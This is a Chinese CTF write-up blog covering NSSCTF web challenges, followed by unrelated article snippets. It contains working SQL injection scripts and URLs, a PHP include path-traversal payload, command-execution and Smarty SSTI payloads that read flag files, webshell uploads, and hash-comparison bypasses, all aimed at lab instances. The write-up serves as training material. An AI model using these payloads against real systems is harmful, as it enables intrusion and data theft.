NSSCTF做题(6)
[HCTF 2018]Warmup
查看源代码得到

开始代码审计
<?phppage变量不存在或page变量不是字符串时返回false
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;//}满足page变量在whitelist数组内返回true
if (in_array($page, $whitelist)) {
return true;//}截取page变量第一个?前的字符串
$_page = mb_substr(//$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}//白名单检查
$_page = urldecode($page);//url解码
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);//二次截断
if (in_array($_page, $whitelist)) {
return true;
}//白名单检查
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
##只有三个条件全部为true时才可触发 1. ! empty($_REQUEST['file']) ##条件1表示参数不为空时返回true 2. is_string($_REQUEST['file']) ##条件2表示参数为字符串时返回true 3. emmm::checkFile($_REQUEST['file']) ##条件3表示参数满足checkFile函数时返回true
php mb_strpos()函数详解 - 飞鸟慕鱼博客
满足经过两次?截断后仍能通过白名单检查,并且include正确路径,才输出flag。
先看看hint.php

找到了flag的目录
构建payload: /source.php?file=hint.php?../../../../../../../../ffffllllaaaagggg
这段payload,checkfile检测传入的file的值,将file赋给page变量,首先白名单检测hint.php在白名单内返回真。
然后?截断在第一次截断的时候将file中的hint.php?../../../../../../../../ffffllllaaaagggg截断为hint.php并顺利通过第二次白名单检测。
接着是一次url解码,将page变量进行一次url解码。
注意 mb_strpos($_page . '?', '?')
这段代码,“$_page . '?',”,中的那个.是一个连接符,相当于在__page变量后加上一个?。于是这次同样截断剩下hint.php再次顺利通过白名单检测。最后满足3个if条件执行include语句。在包含的时候会把hint.php?/当成一层目录,然后构造../../向上遍历找到flag。
因为白名单有两个字符串所以把file里面的hint换成source也是一样能拿到flag。
即source.php?file=source.php?../../../../../../../../ffffllllaaaagggg可以达到相同的效果。
得到flag

[CISCN 2019华北Day2]Web1
尝试注入发现了bool错误,应该属于是布尔盲注了
布尔盲注脚本:
import requests
import timeurl = "http://node2.anna.nssctf.cn:28326/index.php"
payload = {"id" : ""
}
result = ""
for i in range(1,100):l = 33r =130mid = (l+r)>>1while(l<r):# 跑库名#"0^" + "(ascii(substr((SeleCt/**/grOUp_conCAt(schema_name)/**/fROm/**/information_schema.schemata),{0},1))>{1})".format(i, mid)# 跑表名#"0^" + "(ascii(substr((SeleCt/**/grOUp_conCAt(table_name)/**/fROm/**/information_schema.tables/**/wHERe/**/table_schema/**/like/**/'ctf'),{0},1))>{1})".format(i, mid)# 跑列名#"0^" + "(ascii(substr((Select/**/groUp_coNcat(column_name)frOm/**/information_schema.columns/**/Where/**/table_name/**/like/**/'f111'),{0},1))>{1})".format(i,mid)########################"0^" + "(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i, mid)payload["id"] ="0^" + "(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i, mid)html = requests.post(url,data=payload)print(payload)if "Hello" in html.text:l = mid+1else:r = midmid = (l+r)>>1if(chr(mid)==" "):breakresult = result + chr(mid)print(result)
print("flag: " ,result)
还有
import requests
import stringdef blind_sql(url):flag=''for num in range(1,60): #flag一般不超过50个字符for i in string.printable: #string.printable将给出所有的标点符号,数字,ascii_letters和空格payload='(select(ascii(mid(flag,{0},1))={1})from(flag))'.format(num,ord(i)) #ord函数用来获取单个字符的ascii码post = {"id":payload}result = requests.post(url=url,data=post) #提交post请求if 'Hello' in result.text:flag += i #用flag接收盲注得到的结果print(flag) #打印结果else:continueprint(flag)if __name__ == '__main__':url='http://node4.anna.nssctf.cn:28304/index.php'blind_sql(url)
得到flag

[羊城杯 2020]easycon
点进去有点懵,看看访问一下首页
看到了提示,应该是一句话木马,用蚁剑连接
连接成功

看到有一个bbbbbbbbb.txt
下载下来看像是base64转图片,得到flag

[LitCTF 2023]这是什么?SQL !注一下 !
先找找他的闭合条件
(((((('.$_GET["id"].'))))))

sql注入闭合方式-CSDN博客 推荐大家看这篇博客
应该是1')))))这样闭合
爆库名
?id=1)))))) union select 1, group_concat(schema_name)from information_schema.schemata --+

爆表名
?id=1)))))) union select 1, group_concat(table_name)from information_schema.tables where table_schema='ctftraining' --+

爆列名
?id=1)))))) union select 1, group_concat(column_name)from information_scheam.columns where table_name='flag' --+

查字段,得到flag
?id=-1)))))) union select 1,flag from ctftraining.flag%23

[UUCTF 2022 新生赛]ez_rce
代码审计

第一次见这种题,无参数rce,找了两篇博客给大家参考
https://www.cnblogs.com/pursue-security/p/15406272.html
无参数RCE-CSDN博客
eval() 函数把字符串按照 PHP 代码来计算
即,我们通过GET传入参数code,code可以是一些命令参数,但被过滤了许多。
现在的目标是绕过过滤,进入if从句
- 没有过滤 “ \ ” ,因此构造:
/?code=printf(`l\s /`);
看到flag文件,直接查看
/?code=printf(`c\at /fffffffffflagafag`);

[HNCTF 2022 Week1]easy_html

直接抓包,找到了一个页面 访问

发现登录框有长度限制,长度改大就出来了flag
[GDOUCTF 2023]受不了一点
又是这个页面,访问index.php
找到源码开始审计
if(isset($_POST['gdou'])&&isset($_POST['ctf'])){关于md5强比较直接使用数组类型绕过即ctf[]=1&gdou[]=2
$b=$_POST['ctf'];
$a=$_POST['gdou'];
if($_POST['gdou']!=$_POST['ctf'] && md5($a)===md5($b)){//给上边这几个参数赋值,if(isset($_COOKIE['cookie'])){传入cookie使cookie的值等于j0k3r cookie=j0k3r
if ($_COOKIE['cookie']=='j0k3r'){//if(isset($_GET['aaa']) && isset($_GET['bbb'])){让get方式传入参数aaa和bbb的值传就行了
$aaa=$_GET['aaa'];
$bbb=$_GET['bbb'];//if($aaa==114514 && $bbb==114514 && $aaa!=$bbb){这里进行绕过,在任意一个114514后加一个字母传参aaa=114514&bbb=114514a$give = 'cancanwordflag';这里选择任意一个传入flag的方式使用get,则flag的值在不断的遍历,对flag的值进行传递,输出flag构造:123=flag&flag=123
$get ='hacker!';
if(isset($_GET['flag']) && isset($_POST['flag'])){
die($give);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
die($get);//}
foreach ($_POST as $key => $value) {
$$key = $value;
}
foreach ($_GET as $key => $value) {
$$key = $$value;
最后构造的payload:
get:?aaa=114514&bbb=114514a&123=flag&flag=123
post: ctf[]=1&gdou[]=2
cookie: cookie=j0k3r
得到flag

[SWPUCTF 2022 新生赛]ez_ez_php(revenge)
代码审计,又遇到了substr()函数,php伪协议就ok
得到base64编码
还需要继续绕过
继续用这个协议,加上flag前面的目录就可以了


[NSSRound#1 Basic]basic_check
进去没东西,直接开扫

扫到了,进去看看
发现没东西。还是bp抓一下,还是没抓到东西

看大佬的wp才知道这个是put请求,还涉及到了一个没用过的软件
Nikto安装和使用_nikto下载-CSDN博客Nikto 网页服务器扫描器_nikto扫描-CSDN博客
Nikto 网页服务器扫描器_nikto扫描-CSDN博客
输入命令:nikto -h http://node4.anna.nssctf.cn:28806/
可以put请求文件上传
发现成功写入

命令执行得到flag

[HDCTF 2023]SearchMaster
说是smarty模板,能想到的就是ssti注入
看到了提示说,你可以post传参给我一个data

确定了是ssti注入,用{if}{/if}尝试注入 data={if system('ls /')}{/if}
得到了flag文件

继续得到flag
data={if system('cat /flag_13_searchmaster')}{/if}

[鹤城杯 2021]Middle magic
又是代码审计
<?php
highlight_file(__FILE__);
include "./flag.php";
include "./result.php";
if(isset($_GET['aaa']) && strlen($_GET['aaa']) < 20){
$aaa = preg_replace('/^(.*)level(.*)$/', '${1}<!-- filtered -->${2}', $_GET['aaa']);
if(preg_match('/pass_the_level_1#/', $aaa)){
echo "here is level 2";
if (isset($_POST['admin']) and isset($_POST['root_pwd'])) {
if ($_POST['admin'] == $_POST['root_pwd'])
echo '<p>The level 2 can not pass!</p>';
// START FORM PROCESSING
else if (sha1($_POST['admin']) === sha1($_POST['root_pwd'])){
echo "here is level 3,do you kown how to overcome it?";
if (isset($_POST['level_3'])) {
$level_3 = json_decode($_POST['level_3']);
if ($level_3->result == $result) {
echo "success:".$flag;
}
else {
echo "you never beat me!";
}
}
else{
echo "out";
}
}
else{
die("no");
}
// perform validations on the form data
}
else{
echo '<p>out!</p>';
}
}
else{
echo 'nonono!';
}
echo '<hr>';
}
?>
关键代码
if(isset($_GET['aaa']) && strlen($_GET['aaa']) < 20){
$aaa = preg_replace('/^(.*)level(.*)$/', '${1}<!-- filtered -->${2}',
$_GET['aaa']);
if(preg_match('/pass_the_level_1#/', $aaa)){//要求get传参aaa,让aaa=pass_the_level_1,但是level1会被替换成filtered
echo "here is level 2"; if (isset($_POST['admin']) and isset($_POST['root_pwd'])) {
if ($_POST['admin'] == $_POST['root_pwd'])//post传参admin和root_pwd
echo '<p>The level 2 can not pass!</p>';
// START FORM PROCESSING
else if (sha1($_POST['admin']) === sha1($_POST['root_pwd'])){//让这两个参数的sha1值相等
echo "here is level 3,do you kown how to overcome it?";
if (isset($_POST['level_3'])) {
$level_3 = json_decode($_POST['level_3']);
if($level_3->result == $result) {//post传参level3,对其进行json_decode后,需要$level_3->result == $result
echo "success:".$flag;
深入了解PHP的json_decode()函数-PHP问题-PHP中文网 这篇详细介绍了json_decode
构造payload:
1.get传参aaa
因为preg_replace函数只能匹配一行的数据,因此我们只需先传入换行符,那么后面的传入便不再被匹配
/?aaa=%0Apass_the_level_1%23(%0a和%23分别是换行符和井号键的url编码)
正则匹配单行模式(?s)下 ,.号将匹配所有字符,包括换行符;但默认情况下点号不匹配换行符,因此给了绕过(.*)的可能
2.post传参admin和root_pwd
我们利用数组绕过,具体原因是sha1加密时,若传入的是数组,返回值为null
admin[]=1&root_pwd[]=2
3.//post传参level3,对其进行json_decode后,需要$level_3->result == $result
我们传入一个JSON格式的字符串,即
level_3={"result":0}
得到flag

[HNCTF 2022 Week1]easy_upload
上传一句话木马,发现成功
连接蚁剑

得到flag

[SWPUCTF 2022 新生赛]奇妙的MD5
结合题目和页面提示想到了ffifdyop
输入之后到了另外一个页面
查看源码,找到了需要审计的部分

没的说,数组绕过就结束了, ?x[]=1&y[]=2
到了下一个页面,md5强比较,因为他没有字符串的限制,所以还用数组就可以了

wqh[]=1&dsy[]=2 ,得到flag
[GKCTF 2021]easycms
点什么都没反应,直接开扫
扫到了一个登录页面
![]()
访问发现

弱口令尝试登录(或者bp爆破)
试出来是admin/12345
进到后台发现 设计->主题 处可以编辑页面,支持php源代码,于是考虑插入php在网站页面爆出flag,随便找个地方,比如 头部 处写一个php试试
保存时出现如下提示:

所以需要构造出这样一个文件,在 设计->组件->素材库 发现上传文件入口,先随便上传一个本地txt,根据先前编辑页面的路径,将上传到素材库的文件重命名为 ../../../../../system/tmp/udst 形成目录穿越。

有了这个东西之后就可以尝试命令执行了
得到flag
第一次做这种题,cms都不知道是什么,记录两个
什么是CMS ,CMS 有哪些功能呢?|齿轮干货 - 知乎
CMS是什么意思-php教程-PHP中文网
[HNCTF 2022 Week1]What is Web
有一个bp的下载链接,应该是和bp抓包有关的
页面显示,抓包看看

没抓到什么,既然是给新手看的,那就在源码里找一下
最后还是找到了东西

解密得到flag

相关文章:
NSSCTF做题(6)
[HCTF 2018]Warmup 查看源代码得到 开始代码审计 <?php highlight_file(__FILE__); class emmm { public static function checkFile(&$page) { $whitelist ["source">"source.php","hint"…...
公众号商城小程序的作用是什么
公众号是微信平台重要的生态体系之一,它可以与其它体系连接实现多种效果,同时公众号内容创作者非常多,个人或企业商家等,会通过公众号分享信息或获得收益等,而当商家需要在微信做私域经营或想要转化粉丝、售卖产品时就…...
关于 FOCA
目录 注意团队成员成品官网项目社区 版本信息致谢 注意 此文章会随时更新,最好收藏起来,总对你有好处。我们不定时发布一些 IT 内容,所以请关注我们。 此账号为 FOCA 唯一的官方账号,请勿轻易相信其他账号所发布内容。 团队 全…...
TVP专家谈腾讯云 Cloud Studio:开启云端开发新篇章
导语 | 近日,由腾讯云 TVP 团队倾力打造的 TVP 吐槽大会第六期「腾讯云 Cloud Studio」专场圆满落幕,6 位资深的 TVP 专家深度体验腾讯云 Cloud Studio 产品,提出了直击痛点的意见与建议,同时也充分肯定了腾讯云 Cloud Studio 的实…...
2023-09-27 Cmake 编译 OpenCV+Contrib 源码通用设置
Cmake 编译 OpenCV 通用设置 特点: 包括 Contrib 模块关闭了 Example、Test、OpenCV_AppLinux、Windows 均只生成 OpenCV_World 需要注意: 每次把 Cmake 缓存清空,否则,Install 路径可能被设置为默认路径Windows 需要注意编译…...
ACGAN
CGAN通过在生成器和判别器中均使用标签信息进行训练,不仅能产生特定标签的数据,还能够提高生成数据的质量;SGAN(Semi-Supervised GAN)通过使判别器/分类器重建标签信息来提高生成数据的质量。既然这两种思路都可以提高生成数据的质…...
模块化CSS
1、什么是模块化CSS 模块化CSS是一种将CSS样式表的规则和样式定义封装到模块或组件级别的方法,以便于更好地管理、维护和组织样式代码。这种方法通过将样式与特定的HTML元素或组件相关联,提供了一种更具可维护性、可复用性和隔离性的方式来处理样式。简单…...
意大利储能公司【Energy Dome】完成1500万欧元融资
来源:猛兽财经 作者:猛兽财经 猛兽财经获悉,总部位于意大利米兰的储能公司Energy Dome今日宣布已完成1500万欧元B轮融资。 本轮融资完成后,Energy Dome的融资总额已经达到了5500万欧元,本轮融资的参与者包括阿曼创新发…...
【Java 进阶篇】JDBC Connection详解:连接到数据库的关键
在Java中,要与数据库进行交互,需要使用Java数据库连接(JDBC)。JDBC允许您连接到不同类型的数据库,并执行SQL查询、插入、更新和删除操作。在JDBC中,连接数据库是一个重要的步骤,而Connection对象…...
vue-cli项目打包体积太大,服务器网速也拉胯(100kb/s),客户打开网站需要等十几秒!!! 尝试cdn优化方案
一、首先用插件webpack-bundle-analyzer查看自己各个包的体积 插件用法参考之前博客 vue-cli项目中,使用webpack-bundle-analyzer进行模块分析,查看各个模块的体积,方便后期代码优化 二、发现有几个插件体积较大,有改成CDN引用的…...
【优秀学员统计】python实现-附ChatGPT解析
1.题目 优秀学员统计 知识点排序统计编程基础 时间限制: 1s 空间限制: 256MB 限定语言:不限 题目描述: 公司某部门软件教导团正在组织新员工每日打卡学习活动,他们开展这项学习活动已经一个月了,所以想统计下这个月优秀的打卡员工。每个员工会对应一个id,每天的打卡记录记录…...
餐饮外卖配送小程序商城的作用是什么?
餐饮是支撑市场的主要行业之一,其市场规模很大,从业商家从大到小不计其数,对众商家来说,无论门店大小都希望不断生意增长,但在实际发展中却会面对不少痛点; 餐饮很适合线上经营,无论第三方外卖…...
【QT】使用toBase64方法将.txt文件的明文变为非明文(类似加密)
目录 0.环境 1.背景 2.详细代码 2.1 .h主要代码 2.2 .cpp主要代码,主要实现上述的四个方法 0.环境 windows 11 64位 Qt Creator 4.13.1 1.背景 项目需求:我们项目中有配置文件(类似.txt,但不是这个格式,本文以…...
《QDebug 2023年9月》
一、Qt Widgets 问题交流 1.Qt 程序在 Windows 上以管理员权限运行时无法响应拖放(Drop) 无论是 Widget 还是 QML 程序,以管理员权限运行时,都无法响应拖放操作。可以右键管理员权限打开 Qt Creator,然后丢个文本文件…...
C++使用高斯模糊处理图像
C使用高斯模糊处理图像 cv::GaussianBlur 是 OpenCV 中用于对图像进行高斯模糊处理的函数。高斯模糊是一种常用的图像滤波方法,它可以减少图像中的噪声,并平滑图像以降低细节级别。 void cv::GaussianBlur(const cv::Mat& src, cv::Mat& dst, …...
多维时序 | MATLAB实现PSO-BP多变量时间序列预测(粒子群优化BP神经网络)
多维时序 | MATLAB实现PSO-BP多变量时间序列预测(粒子群优化BP神经网络) 目录 多维时序 | MATLAB实现PSO-BP多变量时间序列预测(粒子群优化BP神经网络)效果一览基本介绍程序设计参考资料 效果一览 基本介绍 1.Matlab实现PSO-BP粒子群优化BP神经网络多变量时间序列预测ÿ…...
LeetCode 283. 移动零
移动零 问题描述 LeetCode 283. 移动零 给定一个数组 nums,编写一个函数将所有 0 移动到数组的末尾,同时保持非零元素的相对顺序。 请注意,必须在不复制数组的情况下原地对数组进行操作。 解决思路 为了将所有 0 移动到数组的末尾&#…...
【数据结构】选择排序 堆排序(二)
目录 一,选择排序 1,基本思想 2, 基本思路 3,思路实现 二,堆排序 1,直接选择排序的特性总结: 2,思路实现 3,源代码 最后祝大家国庆快乐! 一…...
opencv实现目标跟踪及视频转存
创建跟踪器 def createTypeTracker(trackerType): 读取视频第一帧,选择跟踪的目标 读第一帧。 ok, frame video.read() 选择边界框 bbox cv2.selectROI(frame, False) 初始化跟踪器 tracker_type ‘MIL’ tracker createTypeTracker(tracker_type) 用第一…...
R | R及Rstudio安装、运行环境变量及RStudio配置
R | R及Rstudio安装、运行环境变量及RStudio配置 一、介绍1.1 R介绍1.2 RStudio介绍 二、R安装2.1 演示电脑系统2.2 R下载2.3 R安装2.4 R语言运行环境设置(环境变量)2.4.1 目的2.4.2 R-CMD测试2.4.3 设置环境变量 2.5 R安装测试 三、RStudio安装3.1 RStu…...
IGP(Interior Gateway Protocol,内部网关协议)
IGP(Interior Gateway Protocol,内部网关协议) 是一种用于在一个自治系统(AS)内部传递路由信息的路由协议,主要用于在一个组织或机构的内部网络中决定数据包的最佳路径。与用于自治系统之间通信的 EGP&…...
04-初识css
一、css样式引入 1.1.内部样式 <div style"width: 100px;"></div>1.2.外部样式 1.2.1.外部样式1 <style>.aa {width: 100px;} </style> <div class"aa"></div>1.2.2.外部样式2 <!-- rel内表面引入的是style样…...
实现弹窗随键盘上移居中
实现弹窗随键盘上移的核心思路 在Android中,可以通过监听键盘的显示和隐藏事件,动态调整弹窗的位置。关键点在于获取键盘高度,并计算剩余屏幕空间以重新定位弹窗。 // 在Activity或Fragment中设置键盘监听 val rootView findViewById<V…...
AspectJ 在 Android 中的完整使用指南
一、环境配置(Gradle 7.0 适配) 1. 项目级 build.gradle // 注意:沪江插件已停更,推荐官方兼容方案 buildscript {dependencies {classpath org.aspectj:aspectjtools:1.9.9.1 // AspectJ 工具} } 2. 模块级 build.gradle plu…...
Web 架构之 CDN 加速原理与落地实践
文章目录 一、思维导图二、正文内容(一)CDN 基础概念1. 定义2. 组成部分 (二)CDN 加速原理1. 请求路由2. 内容缓存3. 内容更新 (三)CDN 落地实践1. 选择 CDN 服务商2. 配置 CDN3. 集成到 Web 架构 …...
OPENCV形态学基础之二腐蚀
一.腐蚀的原理 (图1) 数学表达式:dst(x,y) erode(src(x,y)) min(x,y)src(xx,yy) 腐蚀也是图像形态学的基本功能之一,腐蚀跟膨胀属于反向操作,膨胀是把图像图像变大,而腐蚀就是把图像变小。腐蚀后的图像变小变暗淡。 腐蚀…...
C++.OpenGL (14/64)多光源(Multiple Lights)
多光源(Multiple Lights) 多光源渲染技术概览 #mermaid-svg-3L5e5gGn76TNh7Lq {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-3L5e5gGn76TNh7Lq .error-icon{fill:#552222;}#mermaid-svg-3L5e5gGn76TNh7Lq .erro…...
代码规范和架构【立芯理论一】(2025.06.08)
1、代码规范的目标 代码简洁精炼、美观,可持续性好高效率高复用,可移植性好高内聚,低耦合没有冗余规范性,代码有规可循,可以看出自己当时的思考过程特殊排版,特殊语法,特殊指令,必须…...
Golang——7、包与接口详解
包与接口详解 1、Golang包详解1.1、Golang中包的定义和介绍1.2、Golang包管理工具go mod1.3、Golang中自定义包1.4、Golang中使用第三包1.5、init函数 2、接口详解2.1、接口的定义2.2、空接口2.3、类型断言2.4、结构体值接收者和指针接收者实现接口的区别2.5、一个结构体实现多…...
yaml读取写入常见错误 (‘cannot represent an object‘, 117)
错误一:yaml.representer.RepresenterError: (‘cannot represent an object’, 117) 出现这个问题一直没找到原因,后面把yaml.safe_dump直接替换成yaml.dump,确实能保存,但出现乱码: 放弃yaml.dump,又切…...
